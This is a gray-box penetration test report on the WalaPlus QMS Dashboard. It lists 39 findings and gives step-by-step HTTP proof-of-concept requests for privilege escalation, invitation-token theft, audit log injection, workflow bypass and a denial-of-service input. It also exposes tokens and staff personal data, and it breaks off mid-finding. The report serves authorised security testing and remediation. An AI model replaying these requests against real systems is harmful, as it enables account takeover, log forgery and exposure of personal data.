PENETRATION TESTING REPORT

WalaPlus QMS Dashboard

Enterprise GRC & Quality Management Platform

CONFIDENTIAL

Document Classification	CONFIDENTIAL - For Authorized Personnel Only
Assessment Period	March 15 - 17, 2026
Report Date	March 17, 2026
Version	3.0 (Final - Deepest Iteration)
Prepared By	Mohamed Melnagar - Cyber Security Manager
Client	WalaPlus Technology Company
Target Application	QMS Dashboard (GRC & Quality Management)
Target URL	https://qms-dashboard.replit.app
Assessment Type	Gray-Box Web Application Penetration Test

1. Document Control

1.1 Version History

Version	Date	Author	Description
1.0	2026-03-15	M. Melnagar	Initial assessment - 19 findings
2.0	2026-03-16	M. Melnagar	Deep iteration - 28 findings, multi-role testing
3.0	2026-03-17	M. Melnagar	Deepest iteration - 39 findings, advanced injection, Inngest discovery

2. Table of Contents

1. Document Control
2. Table of Contents
3. Executive Summary
4. Scope & Objectives
5. Methodology
6. Risk Rating Methodology
7. Summary of Findings
8. Detailed Findings
9. Positive Security Observations
10. References
Appendix A: Tools Used
Appendix B: API Endpoints Tested

3. Executive Summary

WalaPlus Technology Company engaged an independent security assessment of the QMS Dashboard (Enterprise GRC & Quality Management Platform) and its supporting API infrastructure. The assessment was conducted between March 15-17, 2026, across three progressive iterations following the OWASP Testing Guide v4.2, OWASP API Security Top 10 (2023), PTES, and OWASP Business Logic Testing methodologies.

The assessment identified a total of **39** unique vulnerabilities. Of these, **11 are CRITICAL**, **10 are HIGH**, **9 are MEDIUM**, **6 are LOW**, and **3 are INFORMATIONAL**. The overall security posture is **critically deficient** and requires **immediate remediation**, particularly in access control, authorization enforcement, and audit integrity.

The most severe finding is a **complete privilege escalation chain** that allows any authenticated user (including the lowest-privilege department_viewer) to create unlimited admin accounts in 4 API calls, with the audit trail fully spoofed. This effectively renders the entire RBAC system non-functional. Additionally, **zero authorization checks** are enforced across 46 tested API endpoints, meaning every user has full read/write access to all modules (risks, vendors, policies, compliance, ROI, audits).

Critical Findings Requiring Immediate Action:

- **QMS-001**: Complete Privilege Escalation Chain via Invitation System
- **QMS-002**: Invitation Token Exposure to All Authenticated Users
- **QMS-003**: Cross-User Privilege Manipulation
- **QMS-004**: Unauthenticated Inngest Scheduler Endpoint with Stack Trace Disclosure
- **QMS-005**: Audit Log Injection — Admin Activity Spoofing
- **QMS-006**: Zero Password Policy on Account Creation
- **QMS-007**: BFLA — Viewer Can Modify Any Resource
- **QMS-008**: BFLA — Viewer Can Create Resources in All Modules
- **QMS-009**: Full User PII Exposure via /api/users
- **QMS-010**: Self Privilege Escalation via Role Change
- **QMS-011**: Unauthorized User Approval by Viewer

Severity	Count	%
Critical	11	28%
High	10	26%
Medium	9	23%
Low	6	15%
Informational	3	8%
TOTAL	39	100%

Finding Status Breakdown (vs. Prior Assessment):

Status	Count	Description
New	32	Newly discovered in this assessment
Not Fixed	4	Previously reported, still vulnerable
Partially Fixed	3	Previously reported, incomplete remediation

Prior Assessment Retest Summary (19 Original Findings):

Original ID	Title	Original Severity	Retest Status
VULN-01	Unauthenticated API Read Access	Critical	Fixed
VULN-02	Unauthenticated Data Creation	Critical	Fixed
VULN-03	Unauthenticated Data Modification	Critical	Fixed
VULN-04	Stored XSS (3 modules)	Critical	Fixed
VULN-05	Wildcard CORS	Critical	Not Fixed
VULN-06	Sensitive Config Info Disclosure	Critical	Partially Fixed
VULN-07	Insecure Session Cookie	High	Fixed
VULN-08	JWT Role in Payload	High	Fixed (Changed to OAuth)
VULN-09	Missing Input Validation	High	Partially Fixed
VULN-10	Mass Assignment	High	Partially Fixed
VULN-11	No Rate Limiting	Medium	Partially Fixed
VULN-12	Admin API Key Pattern	Medium	Not Fixed
VULN-13	Unauthenticated Audit Creation	Medium	Fixed
VULN-14	OAuth State Not Validated	Medium	Fixed
VULN-15	Missing Security Headers	Medium	Fixed
VULN-16	Verbose Error Messages	Low	Partially Fixed
VULN-17	Google OAuth Client ID Exposed	Low	Not Fixed
VULN-18	Mastra Framework Header Disclosure	Low	Not Fixed
VULN-19	Prototype Pollution via JSON Body	High	Fixed

4. Scope & Objectives

4.1 Scope

Target Application: WalaPlus QMS Dashboard (Enterprise GRC & Quality Management Platform)

Target URL: https://qms-dashboard.replit.app

API Base URL: https://qms-dashboard.replit.app/api/

Assessment Type: Gray-Box Web Application Penetration Test

Testing Environment: Development/Staging (Replit hosted)

Authentication: Google OAuth SSO + Admin API Key (documented but unenforced)

Test Accounts: 10 accounts created across 7 role types (admin, quality_manager, grc_manager, team_lead, auditor, quality_specialist, department_viewer)

PRD Reference: WalaPlus Enterprise GRC & Quality Management Platform — Scope of Work v2.0

4.2 Objectives

Identify vulnerabilities in authentication and authorization mechanisms

Assess RBAC enforcement across all 7 role types

Test invitation flow, user creation, and approval workflows for abuse

Evaluate business logic controls for GRC operations (risks, policies, compliance)

Test for injection vulnerabilities (SQL, XSS, SSTI, command injection, CSV injection)

Assess financial ROI module for input validation and integrity

Evaluate audit trail integrity and log injection potential

Verify PRD specification compliance (X-Admin-Key, state machines, approval workflows)

Test for race conditions in concurrent operations

Assess data protection and KSA PDPL compliance

5. Methodology

The assessment followed a structured 5-phase approach combining automated scanning with extensive manual testing, aligned with industry-standard frameworks. Three progressive iterations were executed to maximize coverage.

Phase 1: Reconnaissance & Information Gathering

PRD analysis, technology fingerprinting (Hono, Mastra, Inngest, PostgreSQL), API endpoint enumeration (46 endpoints), authentication flow mapping (Google OAuth + Admin Key), hidden endpoint bruteforce discovery.

Phase 2: Threat Modeling

Role matrix analysis (7 roles from PRD), authorization model assessment, state machine identification (Policy lifecycle, Risk treatment, User onboarding), high-risk function identification (invitations, approvals, role changes, financial data).

Phase 3: Vulnerability Discovery

OWASP Top 10 testing, RBAC verification across all 7 roles, IDOR on all resource types, injection testing (SQL, XSS, SSTI, Command, Path Traversal, CSV), business logic workflow bypass, audit integrity testing, OAuth security analysis.

Phase 4: Exploitation & PoC Development

Full privilege escalation chain demonstration, audit log injection, financial data manipulation, workflow bypass exploitation, concurrent request testing, input validation boundary testing.

Phase 5: Analysis & Reporting

CVSS v3.1 scoring, CWE classification, root cause analysis, remediation roadmap, PRD compliance gap analysis, positive observation documentation.

6. Risk Rating Methodology

All findings are rated using the Common Vulnerability Scoring System (CVSS) v3.1 and classified using Common Weakness Enumeration (CWE) identifiers.

Severity	CVSS Range	Description
Critical	9.0 - 10.0	Trivial exploitation leading to full system compromise, complete privilege escalation, or significant data breach.
High	7.0 - 8.9	Exploitation with minimal effort leading to unauthorized access, data manipulation, or workflow bypass.
Medium	4.0 - 6.9	Exploitation under specific conditions leading to partial data exposure or security misconfiguration.
Low	0.1 - 3.9	Minor issues with limited direct impact, primarily information disclosure.
Informational	0.0	Best practice observations, positive security controls, or functionality gaps with no direct security impact.

7. Summary of Findings

ID	Title	Severity	CVSS	Status
QMS-001	Complete Privilege Escalation Chain via Invitation System	CRITICAL	9.8	New
QMS-002	Invitation Token Exposure to All Authenticated Users	CRITICAL	9.1	New
QMS-003	Cross-User Privilege Manipulation	CRITICAL	9.1	New
QMS-004	Unauthenticated Inngest Scheduler Endpoint with Stack Trace	CRITICAL	9.3	New
QMS-005	Audit Log Injection — Admin Activity Spoofing	CRITICAL	8.7	New
QMS-006	Zero Password Policy on Account Creation	CRITICAL	8.6	New
QMS-007	BFLA — Viewer Can Modify Any Resource	CRITICAL	9.1	New
QMS-008	BFLA — Viewer Can Create Resources in All Modules	CRITICAL	9.1	New
QMS-009	Full User PII Exposure via /api/users	CRITICAL	8.6	New
QMS-010	Self Privilege Escalation via Role Change	CRITICAL	9.1	New
QMS-011	Unauthorized User Approval by Viewer	CRITICAL	9.1	New
QMS-012	Policy Approval Workflow Bypass	HIGH	8.1	New
QMS-013	Risk Treatment Workflow Bypass	HIGH	7.5	New
QMS-014	Negative Financial Values Accepted in ROI Module	HIGH	7.5	New
QMS-015	No Input Length Validation — Denial of Service	HIGH	7.5	New
QMS-016	Viewer Can Trigger Quality Audits (Admin Function)	HIGH	7.5	New
QMS-017	Spoofed Audit Trail on User Management Actions	HIGH	7.5	New
QMS-018	Admin Panel Accessible Without X-Admin-Key	HIGH	7.5	Not Fixed (VULN-12)
QMS-019	Client-Side Admin Key in localStorage	HIGH	6.5	New
QMS-020	Email Service Configuration Disclosure	HIGH	6.5	New
QMS-022	ROI Financial Data Injection by Viewer	HIGH	7.1	New
QMS-022	SQL Error Disclosure in Export Endpoint	MEDIUM	5.3	New
QMS-023	Duplicate Invitation Creation — No Deduplication	MEDIUM	5.3	New
QMS-024	CSP Allows unsafe-inline and unsafe-eval	MEDIUM	5.3	New
QMS-025	CORS Wildcard on OPTIONS Preflight and Error Responses	MEDIUM	5.3	Not Fixed (VULN-05)
QMS-026	Rate Limiting Too Permissive (~18 Requests)	MEDIUM	5.3	Partially Fixed (VULN-11)
QMS-027	CSRF Logout via GET Request	MEDIUM	5.3	New
QMS-028	CSV Injection — Formula Payloads Stored Without Sanitization	MEDIUM	5.3	New
QMS-029	Verbose Error Messages Disclose Field Names	MEDIUM	5.3	Partially Fixed (VULN-09/16)
QMS-030	PostgreSQL Type Disclosure via Error Messages	MEDIUM	5.3	New
QMS-031	Endpoint Enumeration via Response Code Differentiation	LOW	3.7	New
QMS-032	Sequential Resource IDs Enable Enumeration	LOW	3.7	New
QMS-033	Google OAuth Client ID Exposed	LOW	3.7	Not Fixed (VULN-17)

QMS-034	Mastra Framework Disclosure in CORS Headers	LOW	3.7	Not Fixed (VULN-18)
QMS-035	Mode:MOCK Disclosure via Agent Performance API	LOW	3.7	Partially Fixed (VULN-06)
QMS-036	Broken Export Endpoints (500 Errors)	LOW	3.5	New
QMS-037	DELETE Operations Not Implemented	INFO	N/A	New
QMS-038	22 PRD-Documented Endpoints Not Implemented	INFO	N/A	New
QMS-039	Vendor Code Deduplication Works Correctly (Positive)	INFO	N/A	New

8. Detailed Findings

QMS-001: Complete Privilege Escalation Chain via Invitation System

Finding ID	QMS-001
Severity	CRITICAL
CVSS Score	9.8
CWE	CWE-269 Improper Privilege Management
Category	Broken Access Control
Status	New
Affected Endpoint(s)	POST /api/invitations, POST /api/invitations/accept, PUT /api/users/{id}/role, POST /api/users/{id}/approve

Description

A department_viewer (lowest-privilege role) can execute a complete privilege escalation chain in 4 API calls: (1) create an admin invitation, (2) accept the invitation to create a new user account, (3) change the new user's role to admin, and (4) approve the account. The invited_by and approved_by fields are hardcoded to 'admin@walaplus.com' regardless of who performed the action, producing a fully spoofed audit trail. All 7 application roles were successfully created and approved by a department_viewer during testing.

Reproduction Steps

1. Authenticate as a department_viewer user.

2. POST /api/invitations with body {email:'attacker@evil.com', role:'admin', require_mfa:false} — returns 201 with full token.

3. POST /api/invitations/accept with the returned token and any password — user created with pending_approval.

4. PUT /api/users/{new_id}/role with body {role:'admin'} — role changed to admin, 200 OK.

5. POST /api/users/{new_id}/approve with body {approved:true} — user activated, approved_by spoofed as admin@walaplus.com.

Proof of Concept - Request

```
POST /api/invitations HTTP/2
Host: qms-dashboard.replit.app
Cookie: walaplus_session=<department_viewer_session>
Content-Type: application/json

{"email":"attacker-admin@evil.com","full_name":"Privilege
Escalation","team":"Security","role":"admin","require_mfa":false}
```

Proof of Concept - Response

```
HTTP/2 201
{"success":true,"invitation":{"id":2,"email":"attacker-admin@evil.com","role":"admin","token":"595161
51d80561f22e33c7e5f2cfbc02cbfe18422299d9e5dd9b97af065be338","invited_by":"admin@walaplus.com"},"invit
e_link":"https://...replit.dev/accept-invite?token=59516..."}
```

Impact

Complete system takeover — any authenticated user can create unlimited admin accounts.

Full RBAC bypass — the role system is completely unenforced.

Spoofed audit trail — all malicious actions attributed to admin@walaplus.com.

All 7 roles (admin, quality_manager, grc_manager, team_lead, auditor, quality_specialist, custom_permissions) were created and approved by a viewer.

Remediation

Implement server-side role checks on ALL invitation, user management, and approval endpoints.

Restrict invitation creation to admin/quality_manager roles only.

Restrict user approval to admin role only.

Fix invited_by and approved_by to use the ACTUAL authenticated user from the session.

Implement maker-checker for admin role assignments.

References

OWASP API Security Top 10 — API1:2023 Broken Object Level Authorization

OWASP API Security Top 10 — API5:2023 Broken Function Level Authorization

CWE-269: Improper Privilege Management

CWE-862: Missing Authorization

Burp Repeater Tab: QMS-PrivEsc-Chain

QMS-002: Invitation Token Exposure to All Authenticated Users

Finding ID	QMS-002
Severity	CRITICAL
CVSS Score	9.1
CWE	CWE-200 Exposure of Sensitive Information
Category	Information Disclosure
Status	New
Affected Endpoint(s)	GET /api/invitations

Description

GET /api/invitations returns ALL invitation records including raw invitation tokens to any authenticated user regardless of role. These tokens can be used to register new accounts with elevated roles. A department_viewer can see invitation tokens intended for grc_manager, quality_manager, or admin roles.

Reproduction Steps

1. Authenticate as any user (including department_viewer).

2. GET /api/invitations — returns full list with raw tokens.

3. Copy a token for a high-privilege invitation.

4. POST /api/invitations/accept with that token to hijack the invitation.

Proof of Concept - Request

```
GET /api/invitations HTTP/2
Host: qms-dashboard.replit.app
Cookie: walaplus_session=<department_viewer_session>
```

Proof of Concept - Response

```
HTTP/2 200
{"success":true,"invitations":[{"id":1,"email":"security@walaplus.com","role":"grc_manager","token":"
7656e030872eac45517988109962e8425e2ec6e393d8875e1668058b890eeb7b","token_expires_at":"2026-03-24T09:1
9:41.538Z","used":false}],"count":1}
```

Impact

Any authenticated user can steal invitation tokens for privilege escalation.

Account takeover without needing to create a new invitation.

Complete bypass of the invitation-based access control model.

Remediation

Never expose raw tokens in API responses; show only masked tokens (e.g., 7656***eb7b).

Restrict GET /api/invitations to admin role only.

Store tokens as SHA-256 hashes; validate by hashing the incoming token.

References

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

CWE-522: Insufficiently Protected Credentials

OWASP API3:2023 — Broken Object Property Level Authorization

Burp Repeater Tab: QMS-Token-Exposure

QMS-003: Cross-User Privilege Manipulation

Finding ID	QMS-003
Severity	CRITICAL
CVSS Score	9.1
CWE	CWE-639 Authorization Bypass Through User-Controlled Key
Category	Broken Access Control
Status	New
Affected Endpoint(s)	PUT /api/users/{id}/role

Description

A department_viewer can change ANY user's role (including other users) to any value including admin. Tested by changing User ID 1 (Mohammed Almuzaini) from department_viewer to admin. The role change persists in the database and takes effect on next login.

Reproduction Steps

1. Authenticate as department_viewer (User ID 2).

2. PUT /api/users/1/role with body {role:'admin'}.

3. Confirm via GET /api/users/1 — role changed to admin.

Proof of Concept - Request

```
PUT /api/users/1/role HTTP/2
Host: qms-dashboard.replit.app
Cookie: walaplus_session=<department_viewer_session>
Content-Type: application/json

{"role":"admin"}
```

Proof of Concept - Response

```
HTTP/2 200
{"success":true,"user":{"id":1,"email":"m.almuzaini@walaplus.com","role":"admin","status":"active"}}
```

Impact

Any authenticated user can grant themselves or others admin privileges.

Complete authorization bypass across all users.

No object-level authorization on user management operations.

Remediation

Implement RBAC middleware — only admin users should be able to change roles.

Add object-level authorization — prevent self-role escalation.

Log all role changes with the ACTUAL requester identity.

References

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP API1:2023 — Broken Object Level Authorization

Burp Repeater Tab: QMS-CrossUser-PrivEsc

QMS-004: Unauthenticated Inngest Scheduler Endpoint with Stack Trace Disclosure

Finding ID	QMS-004
Severity	CRITICAL
CVSS Score	9.3
CWE	CWE-200 Exposure of Sensitive Information
Category	Security Misconfiguration
Status	New
Affected Endpoint(s)	GET /api/inngest, POST /api/inngest

Description

The /api/inngest endpoint is accessible WITHOUT authentication and exposes: no event key (has_event_key:false), no signing key (has_signing_key:false), dev mode active (mode:'dev'), 2 registered functions. POST requests trigger full stack trace disclosure revealing: server file path /home/runner/workspace/.mastra/output/, Hono web framework, Inngest module versions, and Mastra integration at line 178819.

Reproduction Steps

1. Send GET /api/inngest without any authentication headers.

2. Observe configuration disclosure (mode, keys, function count).

3. Send POST /api/inngest with any JSON body.

4. Observe full stack trace with server paths and module details.

Proof of Concept - Request

```
GET /api/inngest HTTP/2
Host: qms-dashboard.replit.app
(No cookies or authentication)
```

Proof of Concept - Response

```
HTTP/2 200
{"extra":{"is_mode_explicit":false,"native_crypto":true},"has_event_key":false,"has_signing_key":fals
e,"function_count":2,"mode":"dev","schema_version":"2024-05-24"}
```

Impact

Unauthenticated access to scheduler infrastructure configuration.

Full server file path disclosure (/home/runner/workspace/.mastra/output/).

Framework and module version exposure enabling targeted exploits.

Dev mode may enable additional debug functionality.

Potential to invoke scheduled functions (quality audits) without authentication.

Remediation

Add authentication middleware to /api/inngest.

Configure INNGEST_EVENT_KEY and INNGEST_SIGNING_KEY environment variables.

Set mode to 'production' explicitly.

Disable stack trace output in all environments.

References

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

CWE-489: Active Debug Code

OWASP API8:2023 — Security Misconfiguration

Burp Repeater Tab: QMS-Inngest-Unauth

QMS-005: Audit Log Injection — Admin Activity Spoofing

Finding ID	QMS-005
Severity	CRITICAL
CVSS Score	8.7
CWE	CWE-117 Improper Output Neutralization for Logs
Category	Broken Access Control
Status	New
Affected Endpoint(s)	POST /api/logs

Description

POST /api/logs allows any authenticated user to inject arbitrary audit log entries, impersonating any user (including admins) with any action type. The userName, userEmail, and userRole fields are taken directly from the request body instead of the session.

Reproduction Steps

1. Authenticate as department_viewer.

2. POST /api/logs with body containing userName:'admin@walaplus.com', userRole:'admin', actionType:'ADMIN_ACTION'.

3. Confirm via GET /api/logs — fake entry appears as legitimate admin activity.

Proof of Concept - Request

```
POST /api/logs HTTP/2
Host: qms-dashboard.replit.app
Cookie: walaplus_session=<department_viewer_session>
Content-Type: application/json

{"actionType":"ADMIN_ACTION","entityType":"SYSTEM","entityId":"999","entityName":"FAKE ADMIN
LOG","userName":"admin@walaplus.com","userEmail":"admin@walaplus.com","userRole":"admin"}
```

Proof of Concept - Response

```
HTTP/2 201
{"id":73,"timestamp":"2026-03-17T10:20:31.805Z","user_name":"admin@walaplus.com","user_role":"admin",
"action_type":"ADMIN_ACTION","entity_name":"FAKE ADMIN LOG"}
```

Impact

Complete audit trail poisoning — fabricate evidence of admin actions.

Cover malicious activity by flooding logs with fake entries.

Frame legitimate admins for unauthorized actions.

Violates ISO 27001 audit integrity requirements.

Remediation

Remove POST /api/logs from user-accessible endpoints entirely.

Audit logs should ONLY be created server-side as a side-effect of actual operations.

Derive userName/userEmail/userRole from the authenticated session, never from request body.

Implement log integrity protection (hash chain, write-once storage).

References

CWE-117: Improper Output Neutralization for Logs

CWE-862: Missing Authorization

ISO 27001:2022 — A.8.15 Logging

Burp Repeater Tab: QMS-Log-Injection

QMS-006: Zero Password Policy on Account Creation

Finding ID	QMS-006
Severity	CRITICAL
CVSS Score	8.6
CWE	CWE-521 Weak Password Requirements
Category	Authentication
Status	New
Affected Endpoint(s)	POST /api/invitations/accept

Description

The invitation acceptance endpoint accepts empty passwords for account creation. No password policy is enforced: no minimum length, no complexity requirements, no check against common passwords, no password history.

Reproduction Steps

1. Create an invitation via POST /api/invitations.

2. Accept the invitation with token and password:'' (empty string).

3. Observe success:true with a new user account created.

Proof of Concept - Request

```
POST /api/invitations/accept HTTP/2
Content-Type: application/json

{"token":"05b65e0b757824ab...(valid)...","password":"","full_name":"No Password"}
```

Proof of Concept - Response

```
HTTP/2 200
{"success":true,"message":"Access request
submitted.","user":{"id":11,"email":"password-test@pentest.com","status":"pending_approval"}}
```

Impact

Accounts with no password at all can be created.

Combined with invitation/approval bypass, fully functional admin accounts with zero authentication.

Violates every security framework's password policy requirement.

Remediation

Enforce minimum password length of 12 characters.

Require complexity (uppercase, lowercase, number, special character).

Check against common password dictionaries (Have I Been Pwned API).

Block sequential and repeated character passwords.

References

CWE-521: Weak Password Requirements

NIST SP 800-63B — Digital Identity Guidelines

OWASP Authentication Cheat Sheet

Burp Repeater Tab: QMS-EmptyPassword

QMS-007: BFLA — Viewer Can Modify Any Resource

Finding ID	QMS-007
Severity	CRITICAL
CVSS Score	9.1
CWE	CWE-862 Missing Authorization
Category	Broken Access Control
Status	New
Affected Endpoint(s)	PUT /api/risks/{id}, PUT /api/vendors/{id}, PUT /api/policies/{id}

Description

A department_viewer can modify any resource in the system via PUT requests. Tested by modifying risk titles, vendor names/status, and policy statuses. Zero RBAC checks are enforced on any write endpoint.

Reproduction Steps

1. Authenticate as department_viewer.

2. PUT /api/risks/1 with body {risk_title:'IDOR_MODIFIED_BY_VIEWER'}.

3. PUT /api/vendors/1 with body {name:'IDOR_MODIFIED_VENDOR',status:'suspended'}.

4. Confirm all modifications via GET requests.

Proof of Concept - Request

```
PUT /api/risks/1 HTTP/2
Cookie: walaplus_session=<viewer_session>
Content-Type: application/json

{"risk_title":"IDOR_MODIFIED_BY_VIEWER","impact_score":5,"likelihood_score":5}
```

Proof of Concept - Response

```
{"success":true,"risk":{"id":1,"risk_title":"IDOR_MODIFIED_BY_VIEWER",...}}
```

Impact

Data integrity compromise across all modules (risks, vendors, policies).

Risk scores can be manipulated to hide actual risk posture.

Vendor statuses can be changed to disrupt supply chain management.

Remediation

Implement RBAC middleware on ALL write endpoints.

department_viewer should have read-only access.

Implement object ownership checks (users can only modify resources they own/manage).

References

OWASP API5:2023 — Broken Function Level Authorization

CWE-862: Missing Authorization

Burp Repeater Tab: QMS-BFLA-Modify

QMS-008: BFLA — Viewer Can Create Resources in All Modules

Finding ID	QMS-008
Severity	CRITICAL
CVSS Score	9.1
CWE	CWE-862 Missing Authorization
Category	Broken Access Control
Status	New
Affected Endpoint(s)	POST /api/risks, POST /api/vendors, POST /api/compliance/obligations, POST /api/roi, POST /api/audit/trigger

Description

A department_viewer can create new resources in every module: risks, vendors, compliance obligations, ROI initiatives, and trigger quality audits. These are admin/manager-level functions per the PRD.

Reproduction Steps

1. POST /api/risks with risk data — 200 OK, risk created.
2. POST /api/vendors with vendor data — 200 OK, vendor created.
3. POST /api/compliance/obligations with obligation data — 200 OK.
4. POST /api/roi with ROI initiative — 200 OK.
5. POST /api/audit/trigger — 200 OK, audit triggered.

Proof of Concept - Request

```
POST /api/compliance/obligations HTTP/2
Cookie: walaplus_session=<viewer_session>
Content-Type: application/json

{"obligation_code":"FAKE-PDPL-001","regulation_id":1,"title":"Fake Obligation by
Viewer","description":"Injected","status":"compliant"}
```

Proof of Concept - Response

```
{"success":true,"obligation":{"id":1,"obligation_code":"FAKE-PDPL-001",...}}
```

Impact

Fake compliance records can mark the organization as compliant when it is not.

Corrupts audit evidence and regulatory reporting.

Unauthorized quality audit triggering consumes AI resources (GPT-4o).

Remediation

Restrict POST endpoints to appropriate roles (quality_manager, grc_manager, admin).

department_viewer should be read-only.

Implement approval workflows for new resource creation.

References

OWASP API5:2023 — Broken Function Level Authorization

Burp Repeater Tab: QMS-BFLA-Create

QMS-009: Full User PII Exposure via /api/users

Finding ID	QMS-009
Severity	CRITICAL
CVSS Score	8.6
CWE	CWE-200 Exposure of Sensitive Information
Category	Information Disclosure
Status	New
Affected Endpoint(s)	GET /api/users, GET /api/users/{id}

Description

GET /api/users returns ALL user records with full PII to any authenticated user. Exposed fields include: email, full_name, google_id, password_hash (null), mfa_enabled, mfa_secret (null), login_count, last_login_at, invitation_id, access_reason, approved_by, denied_by, denial_reason.

Reproduction Steps

1. Authenticate as department_viewer.

2. GET /api/users — returns complete list of all 10 users with all fields.

3. Observe password_hash, mfa_secret, google_id fields exposed.

Proof of Concept - Request

```
GET /api/users HTTP/2
Cookie: walaplus_session=<viewer_session>
```

Proof of Concept - Response

```
{"success":true,"users":[{"id":2,"email":"m.elnagar@walaplus.com","full_name":"Mohamed Elnagar","pass
word_hash":null,"mfa_enabled":false,"mfa_secret":null,"google_id":"112073789850826704569","last_login
_at":"2026-03-17T09:23:05.581Z","login_count":2,...}],"count":10}
```

Impact

All user PII accessible to any authenticated user.

google_id exposure enables cross-service tracking.

Internal metadata (approved_by, denial_reason) disclosed.

Violates KSA PDPL data minimization requirements.

Remediation

Implement field-level access control — only return fields appropriate for the requesting user's role.

Mask sensitive data: show only last 4 chars of google_id, omit password_hash/mfa_secret entirely.

Restrict GET /api/users to admin/quality_manager roles.

References

OWASP API3:2023 — Broken Object Property Level Authorization

KSA PDPL — Article 10: Data Minimization

Burp Repeater Tab: QMS-UserPII

QMS-010: Self Privilege Escalation via Role Change

Finding ID	QMS-010
Severity	CRITICAL
CVSS Score	9.1
CWE	CWE-269 Improper Privilege Management
Category	Broken Access Control
Status	New
Affected Endpoint(s)	PUT /api/users/2/role

Description

A department_viewer can change their OWN role to admin via PUT /api/users/2/role. The database is updated immediately (role:'admin' in response), though the session retains the original role until next login.

Reproduction Steps

1. Authenticate as department_viewer (User ID 2).
2. PUT /api/users/2/role with body {role:'admin'} — 200 OK.
3. Verify via GET /api/users/2 — database shows role:'admin'.
4. Log out and log back in — session now reflects admin role.

Proof of Concept - Request

```
PUT /api/users/2/role HTTP/2
Cookie: walaplus_session=<viewer_session>
Content-Type: application/json

{"role":"admin"}
```

Proof of Concept - Response

```
{"success":true,"user":{"id":2,"role":"admin","status":"active",...}}
```

Impact

Any user can grant themselves admin privileges.

Role change persists in database, takes effect on re-login.

Remediation

Only admin users should modify roles.

Prevent self-role-escalation entirely.

Require step-up authentication for role changes.

References

CWE-269: Improper Privilege Management

Burp Repeater Tab: QMS-SelfEscalation

QMS-011: Unauthorized User Approval by Viewer

Finding ID	QMS-011
Severity	CRITICAL
CVSS Score	9.1
CWE	CWE-862 Missing Authorization
Category	Broken Access Control

Status	New
Affected Endpoint(s)	POST /api/users/{id}/approve

Description

A department_viewer can approve pending user accounts via POST /api/users/{id}/approve. The approved_by field is hardcoded to 'admin@walaplus.com' regardless of who performed the approval, completely spoofing the audit trail.

Reproduction Steps

1. Create invitation and accept it — user in pending_approval state.
2. POST /api/users/{id}/approve as department_viewer — 200 OK.
3. User is now status:'active', approved_by:'admin@walaplus.com' (spoofed).

Proof of Concept - Request

```
POST /api/users/3/approve HTTP/2
Cookie: walaplus_session=<viewer_session>
Content-Type: application/json

{"approved":true}
```

Proof of Concept - Response

```
{"success":true,"user":{"id":3,"role":"admin","status":"active","approved_by":"admin@walaplus.com","a
pproved_at":"2026-03-17T09:59:05.599Z"}}
```

Impact

Any user can approve new accounts, bypassing the admin approval workflow.

Audit trail spoofing — all approvals attributed to admin@walaplus.com.

Remediation

Restrict approval to admin role only.

Use the actual session user for approved_by field.

Implement maker-checker for account approval.

References

CWE-862: Missing Authorization

Burp Repeater Tab: QMS-Approval-Bypass

QMS-012: Policy Approval Workflow Bypass

Finding ID	QMS-012
Severity	HIGH
CVSS Score	8.1
CWE	CWE-841 Improper Enforcement of Behavioral Workflow
Category	Business Logic
Status	New
Affected Endpoint(s)	PUT /api/policies/1

Description

The PRD defines a mandatory policy lifecycle (Draft -> Review -> Approval -> Published -> Retired). A viewer can bypass this entirely by directly PUTting status:'published' to any policy.

Reproduction Steps

1. GET /api/policies/1 — observe status:'draft'.
2. PUT /api/policies/1 with body {status:'published'} — 200 OK.
3. Policy is now published without any review or approval.

Proof of Concept - Request

```
PUT /api/policies/1 HTTP/2
Content-Type: application/json

{"status":"published","approval_status":"approved"}
```

Proof of Concept - Response

```
{"success":true,"policy":{"id":1,"status":"published",...}}
```

Impact

Publishing malicious governance policies without review.

Bypassing compliance review requirements.

Violating ISO 9001 document control requirements.

Remediation

Implement server-side state machine — enforce transition rules (Draft->Review->Approval->Published).

Only authorized reviewers/approvers can advance status.

References

CWE-841: Improper Enforcement of Behavioral Workflow

Burp Repeater Tab: QMS-PolicyBypass

QMS-013: Risk Treatment Workflow Bypass

Finding ID	QMS-013
Severity	HIGH
CVSS Score	7.5
CWE	CWE-841 Improper Enforcement of Behavioral Workflow
Category	Business Logic
Status	New
Affected Endpoint(s)	PUT /api/risks/{id}

Description

Risks can be directly closed (status:'closed') without going through the mandatory treatment workflow (Mitigate/Transfer/Accept/Avoid) defined in the PRD.

Reproduction Steps

1. PUT /api/risks/1 with body {status:'closed'} — 200 OK.
2. Risk is now closed without any treatment record.

Proof of Concept - Request

```
PUT /api/risks/1 HTTP/2
Content-Type: application/json

{"status":"closed"}
```

Proof of Concept - Response

```
{"success":true,"risk":{"id":1,"status":"closed",...}}
```

Impact

Risk register integrity compromised.

Risks silently closed without treatment.

Remediation

Enforce risk lifecycle state machine.

Require treatment record before closure.

References

CWE-841: Improper Enforcement of Behavioral Workflow

Burp Repeater Tab: QMS-RiskBypass

QMS-014: Negative Financial Values Accepted in ROI Module

Finding ID	QMS-014
Severity	HIGH
CVSS Score	7.5
CWE	CWE-20 Improper Input Validation
Category	Business Logic
Status	New
Affected Endpoint(s)	POST /api/roi

Description

The ROI module accepts negative values for all financial fields: baseline_cost:-1000000, expected_savings_monthly:-500000, implementation_cost:-250000.

Reproduction Steps

1. POST /api/roi with negative financial values — 200 OK.

2. All values stored as negative in the database.

Proof of Concept - Request

```
POST /api/roi HTTP/2
Content-Type: application/json

{"project_name":"Negative ROI","baseline_cost":-1000000,"expected_savings_monthly":-500000}
```

Proof of Concept - Response

```
{"success":true,"initiative":{"baseline_cost":"-1000000.00",...}}
```

Impact

Financial reporting manipulation.

ROI calculations corrupted.

Remediation

Validate non-negative values for all financial fields.

Implement reasonable upper bounds.

References

CWE-20: Improper Input Validation

Burp Repeater Tab: QMS-NegativeROI

QMS-015: No Input Length Validation — Denial of Service

Finding ID	QMS-015
Severity	HIGH
CVSS Score	7.5
CWE	CWE-770 Allocation of Resources Without Limits
Category	Input Validation
Status	New
Affected Endpoint(s)	POST /api/risks (all POST/PUT endpoints)

Description

The API accepts arbitrarily large input values. A 10,000-character risk_title causes a 500 server error.

Reproduction Steps

1. POST /api/risks with risk_title: 'A' x 10000 — 500 Internal Server Error.

Proof of Concept - Request

```
POST /api/risks HTTP/2
Content-Type: application/json

{"risk_title":"AAAA...(10000
